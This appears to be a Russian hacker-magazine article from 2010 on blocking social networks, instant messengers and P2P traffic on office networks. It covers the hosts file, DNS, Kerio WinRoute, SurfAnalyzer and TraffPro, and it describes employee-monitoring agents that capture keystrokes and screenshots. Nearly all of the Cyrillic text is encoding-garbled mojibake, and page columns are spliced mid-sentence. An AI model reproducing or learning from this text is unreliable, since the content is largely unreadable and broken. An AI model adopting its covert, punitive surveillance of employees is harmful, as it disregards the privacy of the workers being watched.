àäðåñà.Åùå îäèí âàðèàíò áëîêèðîâêè ñàéòîâ — èñïîëüçîâàíèå ñëóæáû DNS.Ýòî ìîæåò áûòü êàê ñåðâåð â ëîêàëüíîé ñåòè, êîòîðûé áóäåò âûäàâàòüíåïðàâèëüíûå IP íà îïðåäåëåííûå ñàéòû, òàê è ôàéë HOSTS (îáû÷íî ëåæèòïî àäðåñó c:\Windows\System32\drivers\etc\hosts) íà êëèåíòñêîìêîìïüþòåðå. Ñ ïîñëåäíèì âàðèàíòîì âñå ïðîñòî:127.0.0.1 odnoklassniki.ru127.0.0.1 www.odnoklassniki.ruÒî åñòü ïðè çàïðîñå «Îäíîêëàññíèêîâ» áðàóçåð ïîëó÷èò àäðåñ ëîêàëüíîéñèñòåìû, è, ïî ñóòè, çàïðîñ çàáëîêèðóåòñÿ.118KERIO WINROUTE ñîâðåìåííûõ ñåòÿõ äëÿ îðãàíèçàöèè ñîâìåñòíîãî äîñòóïà â èíòåðíåòè çàùèòû âíóòðåííåé ñåòè ÷àñòî èñïîëüçóåòñÿ Kerio WinRoute, óìåþùèéáëîêèðîâàòü ëþáîé òðàôèê, îïðåäåëåííûé àäìèíîì.  ñîñòàâïðîäóêòà âêëþ÷åí öåëûé ðÿä êîìïîíåíòîâ: ôàéåðâîë ñ ôóíêöèÿìè NAT,ïðîêñè è VPN-ñåðâåð, àíòèâèðóñíûé ìîäóëü, ðàñïðåäåëåíèå íàãðóçêè,áëîêèðîâêà P2P-òðàôèêà è ìíîãîå äðóãîå. Ïîäðîáíî î KWF óæå ðàññêàçûâàëîñüâ ñòàòüå «Ìàðø-áðîñîê â áîëüøóþ ñåòü», îïóáëèêîâàííîéâ ñåíòÿáðüñêîì íîìåðå ][ çà 2007 ãîä, ïîýòîìó îñòàíîâèìñÿ ëèøü íàôóíêöèÿõ áëîêèðîâêè äîñòóïà ê ñàéòàì.Íà÷íåì ñ ñàìîãî ïðîñòîãî — ôèëüòðàöèè ñîäåðæèìîãî. Ýòà ôè÷à íàñòðàèâàåòñÿïðè ïîìîùè ïðîñòûõ ïðàâèë âî âêëàäêå «Êîíôèãóðàöèÿ ->Ôèëüòðàöèÿ ñîäåðæèìîãî».  KWF âêëþ÷åíî íåñêîëüêî êîìïîíåíòîâ,ïðè ïîìîùè êîòîðûõ çàäàþòñÿ ïîëèòèêè, ïîçâîëÿþùèå áëîêèðîâàòüäîñòóï ê îïðåäåëåííûì URL ïî ïðîòîêîëàì HTTP è FTP íà îñíîâàíèèøàáëîíà. Øàáëîí àäðåñà ìîæíî çàäàòü ïðÿìî â ïðàâèëå ôèëüòðàöèè,íî ýòî íåóäîáíî. Ïðè íàëè÷èè íåñêîëüêèõ øàáëîíîâ, ê êîòîðûìíåîáõîäèìî ïðèìåíèòü îäíî äåéñòâèå, ïðèäåòñÿ äîáàâëÿòü íåñêîëüêîïðàâèë, ÷òî åùå áîëåå óñëîæíÿåò ïðîöåññ. Ó÷èòûâàÿ, ÷òî àäìèí äàæåäëÿ íåáîëüøîé ñåòè ôîðìèðóåò áîëüøîå êîëè÷åñòâî ïðàâèë, ïðèäåòñÿïîòîì äîëãî èñêàòü íóæíîå, åñëè ïîíàäîáèòñÿ ÷òî-òî èçìåíèòü. Ïîýòîìóïåðåõîäèì â «Îïðåäåëåíèÿ -> Ãðóïïû URL», ãäå ñîäåðæàòñÿ øàáëîíûURL, ðàçáèòûå íà ãðóïïû. Ïî óìîë÷àíèþ çäåñü ÷åòûðå ãðóïïû, íàçíà-÷åíèå êîòîðûõ ïîíÿòíî èç íàçâàíèÿ — Ads/banners, Search engines,Automatic Updates è Windows Update. Äîáàâèì ñâîþ ãðóïïó. Íàæèìàåìêíîïêó «Äîáàâèòü», ïîÿâëÿåòñÿ îêíî, â êîòîðîì çàïîëíÿåì íàçâàíèå(íàïðèìåð, Social network), âûáèðàåì òèï (URL èëè Ãðóïïà URL) è âïîëå àäðåñà âïèñûâàåì:odnoklassniki.ru/*Âíîñèì åùå îäíî ïðàâèëî â ýòó ãðóïïó, ÷òîáû ïåðåêðûòü âñå âàðèàíòûàäðåñà:*.odnoklassniki.ru/*È äîáàâëÿåì âñå àäðåñà ñîöèàëüíûõ ñåòåé è äðóãèõ ðåñóðñîâ, ê êîòîðûìíóæíî çàêðûòü äîñòóï. Íå çàáûâàåì ïðî ñàéòû, ãäå ïóáëèêóþòñÿ çåðêà-XÀÊÅÐ 08 /139/ 10


ëà äëÿ «Îäíîêëàññíèêîâ», «ÂÊîíòàêòå» è ïîäîáíûõ (à-ëÿ dostupest.ru).Ïðè íåîáõîäèìîñòè áëîêèðîâàòü çàãðóçêó ÷åðåç HTTP îïðåäåëåííûõòèïîâ ôàéëîâ ñîçäàåì äëÿ íèõ ãðóïïû è øàáëîíû.Âî âêëàäêå «Ãðóïïû àäðåñîâ» çàäàåì àéïèøíèê èëè äèàïàçîí àäðåñîâ,êîòîðûé çàòåì áóäåì èñïîëüçîâàòü â ïðàâèëàõ ôèëüòðàöèè â êà÷åñòâåäîïîëíèòåëüíîãî ïàðàìåòðà, îïðåäåëÿþùåãî áëîêèðîâêó ðåñóðñà.Òåïåðü ïåðåõîäèì â ïîäïóíêò «Êîíôèãóðàöèÿ -> Ôèëüòðàöèÿ ñîäåðæèìîãî-> Ïîëèòèêà HTTP». Çäåñü óæå åñòü íåñêîëüêî ïîäãîòîâëåííûõïîëèòèê, ïîñòðîåííûõ íà îñíîâå ãðóïï URL, î êîòîðûõ ãîâîðèëîñüâûøå. Ïîñëå óñòàíîâêè àêòèâèðîâàíû òîëüêî òðè ïðàâèëà, ðàçðåøàþùèåîáíîâëåíèå è äîñòóï ê ïîèñêîâûì ðîáîòàì.×òîáû çàáëîêèðîâàòü áàííåðû è âñïëûâàþùèå îêíà, ñòàâèì ôëàæîêíàïðîòèâ «Remove advertisement and banners» è ñîçäàåì íîâîå ïðàâèëî.Ââîäèì åãî íàçâàíèå, óêàçûâàåì ó÷åòíûå çàïèñè, äëÿ êîòîðûõ îíî áóäåòàêòèâíî. Ïî óìîë÷àíèþ â ýòîì ñïèñêå ïðîïèñàíû âñå ó÷åòêè, íî, èñïîëüçóÿíàñòðîéêè ïðàâèë, ìîæíî ëåãêî çàáëîêèðîâàòü äîñòóï ê íåêîòîðûìãðóïïàì ñàéòîâ òîëüêî äëÿ îïðåäåëåííûõ ïîëüçîâàòåëåé. Ïåðåõîäèì êïîëþ «È åñëè URL óäîâëåòâîðÿåò êðèòåðèþ». Çäåñü ïðåäëàãàåòñÿ ÷åòûðåâàðèàíòà äåéñòâèé: óêàçàòü øàáëîí, âûáðàòü ãðóïïó URL, êàòåãîðèþWeb Filter (î íåé ÷óòü íèæå), è çàáëîêèðîâàòü ëþáîé óçåë, åñëè ê íåìóîáðàòèëèñü ïî IP (÷òî, êñòàòè, òîæå áûâàåò ïîëåçíî). Íàñ èíòåðåñóåòñîçäàííàÿ íàìè ðàíåå ãðóïïà Social network; âûáèðàåì åå è óñòàíàâëèâàåìäåéñòâèå «Çàïðåòèòü äîñòóï ê âåá-óçëó». ×òîáû îòñëåæèâàòü âñåïîïûòêè ïîäêëþ÷åíèÿ ê óçëàì, îïðåäåëåííûì â ýòîì ïðàâèëå, ñòàâèìôëàæîê «Æóðíàë». Ýòî íå âñå íàñòðîéêè. Çàãëÿíóâ â «Äîïîëíèòåëüíî»,ìû ïîëó÷àåì âîçìîæíîñòü óêàçàòü âðåìåííîé èíòåðâàë, â òå÷åíèå êîòîðîãîáóäåò àêòèâíî ïðàâèëî, è äèàïàçîí IP (ñîçäàííûé â «Ãðóïïû àäðåñîâ»),äëÿ êîòîðîãî áóäåò äåéñòâîâàòü ïðàâèëî.  èòîãå KWF ïîçâîëÿåòî÷åíü òîíêî íàñòðîèòü áëîêèðîâêó ïðàêòè÷åñêè äëÿ ëþáûõ óñëîâèé. Èâî âêëàäêå «Ïðàâèëà ñîäåðæèìîãî» óêàçûâàåì ïàðàìåòðû ñêàíèðîâàíèÿâåá-êîíòåíòà (ïðîâåðêà ActiveX, ñöåíàðèè HTML è JavaScript).Çäåñü õîòåëîñü áû îáðàòèòü âíèìàíèå íà ôëàæîê «Çàïðåòèòü âåá-ñòðàíèöû,ñîäåðæàùèå çàïðåùåííûå ñëîâà â êîäå HTML». Ïî óìîë÷àíèþ îíñíÿò, ïîýòîìó îáÿçàòåëüíî àêòèâèðóåì åãî. Ñïèñîê ñàìèõ ñëîâ çàäàåòñÿâ îòäåëüíîé âêëàäêå «Çàïðåùåííûå ñëîâà». Êàæäîìó ñëîâó ñîîòâåòñòâóåòâåñ, âíèçó ñòðàíèöû óêàçûâàåòñÿ öèôðà âåñà (ïî óìîë÷àíèþ 70),ïðè äîñòèæåíèè êîòîðîé ñòðàíèöà áëîêèðóåòñÿ. Èíòåðôåéñ ïðîãðàììûïîçâîëÿåò ïðè íåîáõîäèìîñòè äîáàâèòü â ñïèñîê íîâûå ñëîâà. Íî÷òîáû äàííàÿ ôóíêöèÿ ðàáîòàëà â ïîëíîé ìåðå, ñëåäóåò ñîçäàòü íîâîåïðàâèëî ñ øàáëîíîì URL (*). Òàêèì îáðàçîì, áóäóò ïðîâåðÿòüñÿ âñåâåá-ñòðàíèöû, ê êîòîðûì îáðàùàåòñÿ ïîëüçîâàòåëü.Íî âîçìîæíîñòè KWF ýòèì íå îãðàíè÷èâàþòñÿ. Îòäåëüíî ëèöåíçèðóåòñÿìîäóëü Kerio Web Filter, èñïîëüçóþùèé êàòåãîðèè âåá-ñàéòîâ ISSOrange WebFilter. Àäìèíèñòðàòîð áóêâàëüíî äâóìÿ ùåë÷êàìè ìûøêèîïðåäåëÿåò äîñòóï ê îäíîé èç 58 êàòåãîðèé âåá-ñàéòîâ, ïîääåðæèâàåìûõýòèì ìîäóëåì. Ïðè ïîñåùåíèè ïîëüçîâàòåëåì âåá-ñàéòà îíïðîâåðÿåòñÿ ïî ïîñòîÿííî îáíîâëÿåìîé áàçå, ãäå íàõîäèòñÿ áîëåå 20ìèëëèîíîâ ñàéòîâ, è, â çàâèñèìîñòè îò ðåçóëüòàòà, ðàçðåøàåòñÿ èëèáëîêèðóåòñÿ äîñòóï. Àäìèí ëèøü êîíòðîëèðóåò ýòîò ïðîöåññ ïî îò÷åòàì,âñå îñòàëüíîå ïðîèñõîäèò àâòîìàòè÷åñêè. Åñëè áëîêèðîâêà ïîíåêîòîðûì ïðè÷èíàì íåæåëàòåëüíà, Kerio Web Filter ìîæíî èñïîëüçîâàòüäëÿ ñáîðà ñòàòèñòèêè ïðåäïî÷òåíèé ïîëüçîâàòåëåé.Ïîëèòèêè FTP íàñòðàèâàþòñÿ â îäíîèìåííîé âêëàäêå. Ïîñëå óñòàíîâêèKWF çäåñü óæå ïðîïèñàíû ÷åòûðå ïðàâèëà, àêòèâàöèÿ êîòîðûõ ïîçâîëèòçàáëîêèðîâàòü upload è çàêà÷êó âèäåîôàéëîâ. Äàëåå, èñïîëüçóÿèõ êàê øàáëîí, àäìèí ëåãêî ñîçäàåò íîâûå ïðàâèëà ïîä îïðåäåëåííûåðàñøèðåíèÿ ôàéëîâ.  ïðàâèëàõ óêàçûâàþòñÿ: ïîëüçîâàòåëü, IP-àäðåññåðâåðà, íàïðàâëåíèå çàãðóçêè, øàáëîí ôàéëà èëè FTP-êîìàíäà.Ê ñîæàëåíèþ, ïðîñòîãî ïóòè îáðóáèòü àñüêó è ïîäîáíûå IM-ñåðâèñûâ KWF íåò. Êîíå÷íî, àäðåñà âðîäå login.icq.com, id.rambler.ru ìîæíîáëîêèðîâàòü â ïðàâèëàõ URL, íî ëó÷øèì âûõîäîì áóäåò áàí àéïèøíèêîâIM-ñåðâåðîâ. Ïîäðîáíî î òîì, êàê íàó÷èòüñÿ îïðåäåëÿòü íóæíûåIP è áàíèòü èõ, ñìîòðè â ñòàòüå «Ñåðïîì ïî àñüêàì», îïóáëèêîâàííîé âàâãóñòîâñêîì íîìåðå ][ çà 2009 ãîä.Äëÿ óäîáñòâà â «Ãðóïïû àäðåñîâ» ñîçäàåì îòäåëüíóþ ãðóïïó, íàçîâåìåå, ê ïðèìåðó, «Instant Messengers», ãäå ïðîïèñûâàåì âñå èçâåñòíûåäèàïàçîíû IP:- Rambler ICQ: 81.19.64.0 - 81.19.66.255;- icq-ws.rambler.ru: 81.19.69.0 - 81.19.70.255;XÀÊÅÐ 08 /139/ 10 119


SYN/ACKНастройка брандмауэра WindowsСоздаем группу URL в Kerio WinRoute- ICQ: 64.12.0.0 - 64.12.255.255, 205.188.0.0 -205.188.255.255Ñåòåâîé 007Åñòü äâà ñïîñîáà íàâåñòè ïîðÿäîê â ëîêàëüíîé ñåòè: áëîêèðîâàòüè êîíòðîëèðîâàòü. Êàæäûé èìååò ñâîè äîñòîèíñòâàè íåäîñòàòêè.  èäåàëå íóæíî èñïîëüçîâàòü îáà âàðèàíòà,÷òîáû èñêëþ÷èòü ñëó÷àè, êîãäà ÷òî-òî ïðîéäåò íåçàìå÷åííûì.Îäíèì èç ÿðêèõ ïðåäñòàâèòåëåé êîíòðîëåðîâ ÿâëÿåòñÿðåøåíèå LanAgent (lanagent.ru). Àãåíòû, óñòàíîâëåííûå íàêëèåíòñêèõ ñèñòåìàõ, ïîçâîëÿþò îòñëåæèâàòü, ÷åì çàíèìàåòñÿïîëüçîâàòåëü â ðàáî÷åå âðåìÿ. Ìîæíî óçíàòü, êàêèåïðîãðàììû è ñåðâèñû îí çàïóñêàåò, êàêèå ñàéòû ïîñåùàåò,êàêèå âíåøíèå óñòðîéñòâà ïîäêëþ÷àåò. Òàêæå àãåíòû óìåþòäåëàòü ñíèìêè ýêðàíà, ïåðåõâàòûâàòü íàæàòèÿ êëàâèø, ñîîáùåíèÿICQ è e-mail, äîêóìåíòû, îòïðàâëåííûå íà ïå÷àòü,ôàéëû, ñêîïèðîâàííûå íà ôëåøêó. Ïðè íàðóøåíèè óñòàíîâëåííûõïîëèòèê àäìèíèñòðàòîð ïîëó÷àåò óâåäîìëåíèå.Ïðîãðàììà îñíàùåíà ñèñòåìîé îò÷åòîâ, ïîçâîëÿþùåé áûñòðîñîñòàâèòü ãðàôèê àêòèâíîñòè ïîëüçîâàòåëåé çà íóæíûéïåðèîä âðåìåíè.120È òàê äàëåå. Òåïåðü ïåðåõîäèì â «Ïîëèòèêà òðàôèêà» è ñîçäàåì íîâîåïðàâèëî. Íàäåëÿåì åãî ïîíÿòíûì èìåíåì (ICQ Deny), â ïîëå «Íàçíà÷åíèå»èäåì â «Äîáàâèòü -> Ãðóïïà IP-àäðåñîâ», â ñïèñêå íàõîäèì ãðóïïó«Instant Messengers». Äâàæäû ùåëêàåì â ïîëå «Äåéñòâèå» è óñòàíàâëèâàåìïåðåêëþ÷àòåëü â «Îòêàçàòü» èëè «Óäàëèòü».  òàêîì âèäå ïðàâèëîáóäåò êàñàòüñÿ ïîäêëþ÷åíèé êî âñåì ïîðòàì.  ïðèíöèïå, äàëüøåìîæíî íå çàìîðà÷èâàòüñÿ. Ïîñëåäíèì îáû÷íî ñòîèò áëîêèðóþùåå âñåïîäêëþ÷åíèÿ ïðàâèëî. Ïîýòîìó åñëè â ïîëèòèêàõ ôèëüòðàöèè íàñòðîåíîäåéñòâèòåëüíî òî, ÷òî íóæíî, ïîðòû, èñïîëüçóåìûå ñåðâèñàìè,ìîæíî óæå îòäåëüíî íå áàíèòü. Íàïîìíþ, ÷òî Ìail-Àãåíò ðàáîòàåò ïîïîðòàì 2041, 2042; Yahoo! Messenger — 5000-5001, 5050; MSN — 1863;Jabber/Gtalk — 5222, 5223; IRC — îáû÷íî ïî 6667-6669.Òåïåðü îñòàëîñü îãðàíè÷èòü ïèðèíãîâûé òðàôèê. Âñå íóæíûå íàñòðîéêèïðîèçâîäÿòñÿ âî âêëàäêå «Äîïîëíèòåëüíûå ïàðàìåòðû — ÔèëüòðP2P». Äîñòàòî÷íî óñòàíîâèòü ïåðåêëþ÷àòåëü â «Çàáëîêèðîâàòü òðàôèêè ðàçðåøèòü òîëüêî íå-P2P ïîäêëþ÷åíèÿ», è î ïðîáëåìå ìîæíî çàáûòü.Êàê âàðèàíò, Êåðèî ïîçâîëÿåò çàáëîêèðîâàòü âåñü òðàôèê êëèåíòà ïðèïîïûòêå ïîäêëþ÷åíèÿ ïî P2P ñ óêàçàíèåì âðåìåíè áëîêèðîâêè (ïî óìîë-÷àíèþ 120 ìèíóò). Ïîëüçîâàòåëþ ïðè ýòîì îòïðàâëÿåòñÿ óâåäîìëåíèå ïîýëåêòðîííîé ïî÷òå, â êîòîðîì îáúÿñíÿåòñÿ ïðè÷èíà, ÷òîáû îí íå áóÿíèë èíå çâîíèë àäìèíó èëè íà÷àëüñòâó. Âîîáùå ãîâîðÿ, ïàðà-òðîéêà áëîêèðîâîê,ðàñïå÷àòêà íàðóøåíèé íà ñòîë ðóêîâîäèòåëþ — è äèñöèïëèíà áóäåòïîäòÿíóòà. ×òîáû îïðåäåëèòü ðàáîòó ïî P2P, èñïîëüçóåòñÿ ñïèñîê ïîðòîâ,êîòîðûé ìîæíî ïðîñìîòðåòü è îòðåäàêòèðîâàòü â ìåíþ, ïîÿâëÿþùåìñÿïðè íàæàòèè êíîïêè «Äîïîëíèòåëüíî». Çäåñü æå çàäàåòñÿ ÷èñëî ïîäêëþ-÷åíèé è ñïèñîê ñëóæá, êîòîðûå áóäóò îïðåäåëÿòüñÿ êàê íå-P2P. Ñàìûéïðîñòîé âàðèàíò: íàñòðàèâàåì áëîêèðîâêó îïðåäåëåííûõ ïîðòîâ, òåì áîëååâ ïîëèòèêàõ óæå åñòü çàãîòîâêè äëÿ eDonkey, DC++, Gnutella, Kazaa èäð. Êñòàòè, ó Kerio åñòü åùå îäíà âîçìîæíîñòü áëîêèðîâêè — ïðîïèñàòü âíàñòðîéêàõ DNS («Êîíôèãóðàöèÿ DNS») íåïðàâèëüíîå ñîîòâåòñòâèå IPàäðåñà,î ÷åì ãîâîðèëîñü âûøå. Ïðîñòî ïèøåì àäðåñ âðîäå: vkontakte.ru 127.0.0.1. È ïîëüçîâàòåëè íå ñìîãóò ïîäêëþ÷èòüñÿ ê óäàëåííîìóñåðâåðó.АНАЛИЗАТОР СЕРФИНГА SURFANALYZERSurfAnalyzer (surfanalyzer.ru) — ñïåöèàëèçèðîâàííîå ðåøåíèå,ïîçâîëÿþùåå áëîêèðîâàòü äîñòóï ê ðåñóðñàì, êîòîðûå îòâëåêàþòîò ðàáîòû èëè íåñóò ïîòåíöèàëüíóþ îïàñíîñòü. Ïðîãðàììà, ÿâëÿÿñüïîñðåäíèêîì ìåæäó èíòåðíåòîì è ïîëüçîâàòåëåì, ïðîïóñêàåò ÷åðåçñåáÿ âåñü òðàôèê, ïîýòîìó ñ åå ïîìîùüþ î÷åíü ïðîñòî êîíòðîëèðîâàòüçàêà÷êó ôàéëîâ ñ îïðåäåëåííûìè ðàñøèðåíèÿìè (.exe, .com,.zip è ò.ä.), âëîæåíèÿ â ýëåêòðîííîé ïî÷òå, ôèëüòðîâàòü IM-ñîîáùåíèÿ,áëîêèðîâàòü íåêîòîðûå òèïû ñàéòîâ. Âñÿ èíôîðìàöèÿ î ïîñåùåííûõðåñóðñàõ ñîõðàíÿåòñÿ, è, ïðîñìîòðåâ ëîãè, ìû ëåãêî óçíàåì,÷åì çàíèìàëñÿ ïîëüçîâàòåëü â ðàáî÷åå âðåìÿ.  ñëó÷àå ïîÿâëåíèÿâíåøòàòíûõ ñèòóàöèé àäìèíèñòðàòîð îïîâåùàåòñÿ ïîñðåäñòâîìe-mail èëè ICQ. SurfAnalyzer ñîñòîèò èç òðåõ êîìïîíåíòîâ, êîòîðûå,êàê ïðàâèëî, ðàçâîðà÷èâàþòñÿ íà íåñêîëüêèõ ñèñòåìàõ:• ñåðâåð (Server) îáåñïå÷èâàåò îñíîâíîé ôóíêöèîíàë, ñîäåðæèòâåá-ìîäóëü (äîñòóï â èíòåðíåò, ñáîð ñòàòèñòèêè,êîíòðîëü çàãðóçêè ôàéëîâ, ðàáîòà â IM), ïî÷òîâûé ñåðâåð(êîíòðîëü èñõîäÿùèõ è âõîäÿùèõ ïèñåì), ÑÓÁÄ Firebird äëÿõðàíåíèÿ ñîáðàííûõ äàííûõ; âñå ýòî ñâÿçûâàåòñÿ ïðè ïîìîùèìîäóëÿ îïîâåùåíèÿ è íàñòðîéêè;• ðàáî÷åå ìåñòî ñïåöèàëèñòà áåçîïàñíîñòè (View) îòñëåæèâàåòíàðóøåíèÿ ïîëèòèêè áåçîïàñíîñòè è äîñòóï ê àðõèâàìe-mail, ICQ è ïîñåùåííûõ âåá-ñàéòîâ;• ðàáî÷åå ìåñòî àäìèíèñòðàòîðà ñèñòåìû (Admin) ïîçâîëÿåòíàñòðîèòü ïîëèòèêè áåçîïàñíîñòè, äîñòóï ïîëüçîâàòåëåé èñèñòåìó êîíòðîëÿ.Äëÿ íåïîñðåäñòâåííîé îðãàíèçàöèè äîñòóïà ïîëüçîâàòåëåé â èíòåðíåòè ó÷åòà òðàôèêà â ïàðå ñ SurfAnalyzer äîëæåí èñïîëüçîâàòüñÿïðîêñè-ñåðâåð ñòîðîííåãî ðàçðàáîò÷èêà (UserGàte, WinGate è ò.ï.) Âíàñòðîéêàõ ïðîêñè-ñåðâåðà îñòàâëÿåòñÿ ëèøü îäíà ó÷åòíàÿ çàïèñü —XÀÊÅÐ 08 /139/ 10


ñîäåðæàùèå çàïðåùåííûå URL èëè ñëîâà, ïîìå÷àþòñÿ îïðåäåëåííûìîáðàçîì â êîíñîëè View. Êîíñîëü ñïåöèàëèñòà áåçîïàñíîñòè, ïî ñóòè,ÿâëÿåòñÿ ñðåäñòâîì ïîëó÷åíèÿ ðàçëè÷íîãî ðîäà îò÷åòîâ ïî ïîëüçîâàòåëÿì,ñîáûòèÿì è äàòàì. À èìåÿ íà ðóêàõ òàêóþ ñòàòèñòèêó, î÷åíüïðîñòî íàêàçàòü ñîòðóäíèêà ðóáëåì :).Контроль трафика в SurfAnalyserSurfAnalyzer, êîòîðàÿ áóäåò èìåòü ïîëíûå ïðàâà. Âñå îñòàëüíûå ïîëüçîâàòåëèáóäóò ïîäêëþ÷àòüñÿ ê èíòåðíåòó ÷åðåç ñåðâåð SurfAnalyzer.Äëÿ óñòàíîâêè SurfAnalyzer ïîòðåáóåòñÿ êîìïüþòåð, ðàáîòàþùèé ïîäóïðàâëåíèåì Win2k/XP/2k3. Ìèíèìàëüíûå ñèñòåìíûå òðåáîâàíèÿ çàÿâëåíûñëåäóþùèå: CPU 1.7 ÃÃö, 256 Ìá RAM è 200 Ìá HDD. Óñòàíîâêàêîìïîíåíòîâ ñòàíäàðòíà; âñå íåîáõîäèìîå, â ÷àñòíîñòè Firebird, óæåèäåò â êîìïëåêòå. Ïî îêîí÷àíèè óñòàíîâêè ñåðâåðà çàïóñòèòñÿ íåáîëüøîåîêíî óïðàâëåíèÿ ServiceManager. Äàëåå âûçûâàåì îêíî êîíñîëèSurfAnalyzer Admin, ðåãèñòðèðóåìñÿ êàê Admin ñ ïóñòûì ïàðîëåì.Åñëè ñåðâåð óñòàíîâëåí íà äðóãîé ñèñòåìå, óêàçûâàåì åãî IP. Îñíîâíîåîêíî àäìèíêè ðàçäåëåíî íà ÷åòûðå âêëàäêè. Íà âêëàäêå «Îñíîâíûå»óêàçûâàþòñÿ íàñòðîéêè ïðîêñè-ñåðâåðà, ïîðò (Web+ICQ), íà êîòîðîìSurfAnalyzer áóäåò æäàòü êëèåíòñêèå ïîäêëþ÷åíèÿ (ïî óìîë÷àíèþ3128), ïîðòû POP3 è SMTP, ÷àñòîòà àíàëèçà òåêñòà è ïðî÷åå. Ñîáñòâåííî,â ýòîé âêëàäêå íåîáõîäèìî ëèøü íàñòðîèòü ïàðàìåòðû äîñòóïà êïðîêñè-ñåðâåðó. Ñîîòâåòñòâåííî êîìïüþòåðû ïîëüçîâàòåëåé, âåá-áðàóçåðû,ïðîãðàììû äëÿ ðàáîòû ñ ïî÷òîé è ò.ä. äîëæíû áûòü ïåðåíàñòðîåíûíà IP-àäðåñ ñåðâåðà SurfAnalyzer.Âêëàäêà «Êîíòðîëü» ïîçâîëÿåò äîáàâèòü ó÷åòíûå äàííûå àäìèíîâ èðàñïðåäåëèòü ìåæäó íèìè îáÿçàííîñòè ïî íàñòðîéêå. Îáñëóæèâàåìûåïî÷òîâûå ÿùèêè è e-mail-ñåðâåðû, ñ êîòîðûìè áóäåò ðàáîòàòüSurfAnalyzer, ïðîïèñûâàþòñÿ âî âêëàäêå Ïî÷òà. Çäåñü æå óñòàíàâëèâàåòñÿñîîòâåòñòâèå ó÷åòíîé çàïèñè ïî÷òû îïðåäåëåííîìó êîìïüþòåðó,äåéñòâèÿ äëÿ âëîæåíèé è ïîäîçðèòåëüíîãî ñîäåðæèìîãî.Ó÷åòíûå çàïèñè ïîëüçîâàòåëåé, êîòîðûå áóäóò âûõîäèòü â èíòåðíåò, ñîçäàþòñÿâî âêëàäêå «Web + ICQ + Mail Agent».  SurfAnalyzer ïîääåðæèâàþòñÿòèïû àâòîðèçàöèè «òîëüêî ïî IP», «òîëüêî ïî ÌÀÑ» è «IP+ÌÀÑ».Ïðîãðàììà ñêàíèðóåò äîñòóïíûå ñåòè è âûâîäèò ñïèñîê íàéäåííûõêîìïüþòåðîâ, âêëþ÷àÿ èìÿ, IP- è ÌÀÑ-àäðåñà. Ïîñëå òîãî, êàê ó÷åòíàÿçàïèñü äîáàâëåíà, â ïðàâîé âêëàäêå ðåäàêòèðóþòñÿ ïàðàìåòðû äîñòóïà.Âîçìîæíû äâà ïîäõîäà: ðàçðåøèòü òîëüêî âûáðàííîå èëè çàïðåòèòü âûáðàííîå.Òàê, òèïû ôàéëîâ îòìå÷àþòñÿ âî âêëàäêå «MIME-íàñòðîéêè».Îòáèðàåì íóæíîå è óêàçûâàåì äåéñòâèå ïðè ïîìîùè âûïàäàþùåãîñïèñêà «Ïðàâèëî». Ïðàâèëà õîðîøî ïðîêîììåíòèðîâàíû, ïîýòîìóñîðèåíòèðîâàòüñÿ â íèõ ïðîñòî. Ïðè íåîáõîäèìîñòè ëåãêî äîáàâèòüíîâûå MIME-òèïû/ðàñøèðåíèÿ äëÿ ñâîèõ ðóëåñåòîâ. Âñå ðàñøèðåíèÿ,íåèçâåñòíûå SurfAnalyzer, àâòîìàòè÷åñêè ïîïàäàþò â îäíîèìåííóþêàòåãîðèþ. Òàêæå ìîæíî îïðåäåëèòü ñïèñîê ñòîï-ñëîâ è çàïðåùåííûõURL, êîòîðûå áóäóò êîíòðîëèðîâàòüñÿ SurfAnalyzer. Âñå íàñòðîéêèâûïîëíÿþòñÿ â îäíîé âêëàäêå, ïî îäíîé â ñòðîêå: ïðîñòî ïèøåì ñòðîêó,ñîâïàäåíèå ñ êîòîðîé áóäåò ïðîâåðÿòüñÿ. Íàïðèìåð, äëÿ «Îäíîêëàññíèêîâ»— odnoklassniki. Âîò è âåñü øàáëîí, íèêàêèõ ïîäñòàíîâîê íåïðåäóñìîòðåíî. Òàêæå íåò âîçìîæíîñòè áëîêèðîâîê ïî IP.SurfAnalyzer ïîçâîëÿåò âûïîëíÿòü ïðîâåðêó â òðàôèêå îïðåäåëåííûõñëîâ, êîòîðûå çàäàþòñÿ âî âêëàäêå «ICQ + Mail Agent». Âñå ñîîáùåíèÿ,XÀÊÅÐ 08 /139/ 10КОНТРОЛЕР ТРАФИКА TRAFFPROTraffPro (traffpro.ru) — ñïåöèàëèçèðîâàííîå è î÷åíü ïîíÿòíîå âíàñòðîéêàõ ðåøåíèå äëÿ êîíòðîëÿ òðàôèêà è óïðàâëåíèÿ äîñòóïîì.Ïðîãðàììà îáåñïå÷èâàåò êîíòðîëü è ó÷åò òðàôèêà, òåëåôîííûõ çâîíêîâ(ïîääåðæèâàþòñÿ ÀÒÑ Panasonic è LG), çàùèòó ñåðâåðà è ñèñòåì,áëîêèðîâêó ïîðòîâ, NAT, ïîðò-ôîðâàðäèíã, óìååò ðàáîòàòü â ñâÿçêåñ ïðîêcè-ñåðâåðîì Squid. Âîçìîæíà àâòîðèçàöèÿ ïîëüçîâàòåëÿ — IP,ÌÀÑ, ëîãèí è ïàðîëü, LDAP/AD è VPN. Äîñòóïíî áîëüøîå êîëè÷åñòâîîò÷åòîâ è ìîíèòîðèíã ñîåäèíåíèé. Íàïèñàí TraffPro ñ èñïîëüçîâàíèåìáèáëèîòåê Qt, äëÿ õðàíåíèÿ äàííûõ çàäåéñòâóåòñÿ MySQL, ãðàôèêèñòðîÿòñÿ ïðè ïîìîùè gnuplot. Ñåðâåðíàÿ ÷àñòü óñòàíàâëèâàåòñÿ ïîäLinux, êëèåíòû óïðàâëåíèÿ — ïîä Windows è Linux, åñòü è âåá-êëèåíò.Ïðåäëàãàåòñÿ íåñêîëüêî ðåàëèçàöèé, â òîì ÷èñëå äîñòóïíà è Free-âåðñèÿ,îáëàäàþùàÿ âñåìè îñíîâíûìè ôóíêöèÿìè. Ñî ñðàâíèòåëüíîéòàáëèöåé âîçìîæíîñòåé ìîæíî ïîçíàêîìèòüñÿ íà îôñàéòå, ïîýòîìóïîäðîáíî îñòàíàâëèâàòüñÿ çäåñü íå áóäåì. Óñòàíîâêà ñåðâåðíîé ÷àñòèâ Linux çàêëþ÷àåòñÿ â ðàçâåðòûâàíèè LAMP-ñåðâåðà (ñì. ñòàòüþ «Âîëøåáíàÿëàìïà àäìèíà» â ][ 12.2008) è óñòàíîâêå óïðàâëÿþùåé ÷àñòè.×òîáû áëîêèðîâàòü äîñòóï ê îïðåäåëåííîé ãðóïïå ñàéòîâ, âûáèðàåìâ êîíñîëè «Êëèåíòû Ãðóïïû Ðåäàêòèðîâàíèå 